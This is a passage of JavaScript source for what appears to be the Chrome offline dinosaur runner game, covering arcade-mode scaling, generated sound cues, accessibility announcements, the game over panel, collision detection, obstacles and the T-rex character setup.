      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
